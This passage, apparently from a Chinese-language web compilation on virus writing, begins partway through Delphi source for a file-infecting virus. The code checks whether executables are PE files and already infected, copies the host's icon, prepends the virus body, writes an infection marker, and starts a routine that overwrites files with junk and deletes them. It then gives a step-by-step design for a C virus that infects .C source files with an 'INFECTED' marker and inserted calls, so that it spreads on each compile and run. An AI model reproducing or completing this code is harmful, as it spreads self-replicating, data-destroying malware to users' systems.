< 10240) then //太小的文件不感染 Infected := True; finally SrcStream.Free; end; if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出 Exit; IcoStream := TMemoryStream.Create; DstStream := TMemoryStream.Create; try aIcon := TIcon.Create; try //得到被感染文件的主图标(744字节) , 存入流 aIcon.ReleaseHandle; aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); aIcon.SaveToStream(IcoStream); finally aIcon.Free; end; SrcStream := TFileStream.Create(FileName, fmOpenRead); //头文件 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try //写入病毒体主图标之前的数据 CopyStream(HdrStream, 0, DstStream, 0, IconOffset); //写入目前程序的主图标 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); //写入病毒体主图标到病毒体尾部之间的数据 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); //写入宿主程序 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); //写入已感染的标记 DstStream.Seek(0, 2); iID := $44444444; DstStream.Write(iID, 4); finally HdrStream.Free; end; finally SrcStream.Free; IcoStream.Free; DstStream.SaveToFile(FileName); //替换宿主文件 DstStream.Free; end; except; end; end; { 将目标文件写入垃圾码后删除 } procedure SmashFile(FileName: string); var。
5. 如何用C编写病毒 3.1.1病毒程序VIRUS.C这是一个用C语言写的病毒程序 , 当激发病毒程序时显示时间 , 然后返回 。
病毒程序VIRUS.C可将病毒传染给一个C语言程序 。当被病毒感染的程序经编译、连接和执行后 , 又可以将病毒部分传染给其他的C语言源程序 。
每执行一次带有病毒的C语言程序 , 就向C语言源程序传播一次病毒 。此程序的设计思路如下:当含有病毒部分的程序被执行时 , 首先进入病毒程序 。
它在磁盘上找扩展名为C的匹配文件 , 如果找到 , 查找是否有被传染过的标志“INFECTED” 。如果有此标志 , 继续找其它的C文件 , 直至全部检查一遍 。
若没有这个标志 , 则(1)在未被感染的C程序头部加入“INFECTED”已被传染标志 。(2)读取病毒文件的头文件 , 将其插入到即将被感染的文件头部 。
如果发现有重复则不插入 。(3)在主程序中插入“VIRUSES();”调用VIRUSES函数 。
寻找printf、for、while、break语句 , 如果找到就在之前插入 。(4)在文件尾部插入VIRUSES_SUB子程序 。
(5)在插入到将感染文件里面的VIRUSES_SUB子程序里面 , 必须把文件名改为当前自身的文件名 , 否则被传染后的文件经过编译、连接和运行后不能再继续传染 。(6)最后插入VIRUSES子程序 。
这个子程序里面调用了VIRUSES_SUB , 执行到这里返回执行结果信息 。其中用到4个出错的返回值 , 分别是:1:用户文件太大 , 不传染;2:带病毒文件打不开 , 不传染;3:带病毒文件读取不成功 , 不传染;4:查找第一个匹配文件不成功 。
如果返回值是0代表文件传染成功 。具体实现过程如下:其中用到的函数和结构体用法参考3.3节 。
首先导入病毒子程序要用到的三个库文件 , 分别是dir.h, stido.h, dos.h.在主函数里面只调用VIRUSES函数 。紧跟定义VIRUSES函数里面要调用的VIURS_SUB函数 。
里面定义了若干个变量 。ffblk用来保存查找到的匹配文件的信息 , 用到里面的ff_name变量来保存匹配文件名 。
然后定义保存未感染的文件和病毒文件的文件型指针变量 , 分别用是*virus_r和*virus_v.读取文件的缓冲区 , 放到二维数组a[500][80]里面临时存放 。因为此程序对大于500行的C文件不进行传染 , 所以完全可以放到里面 。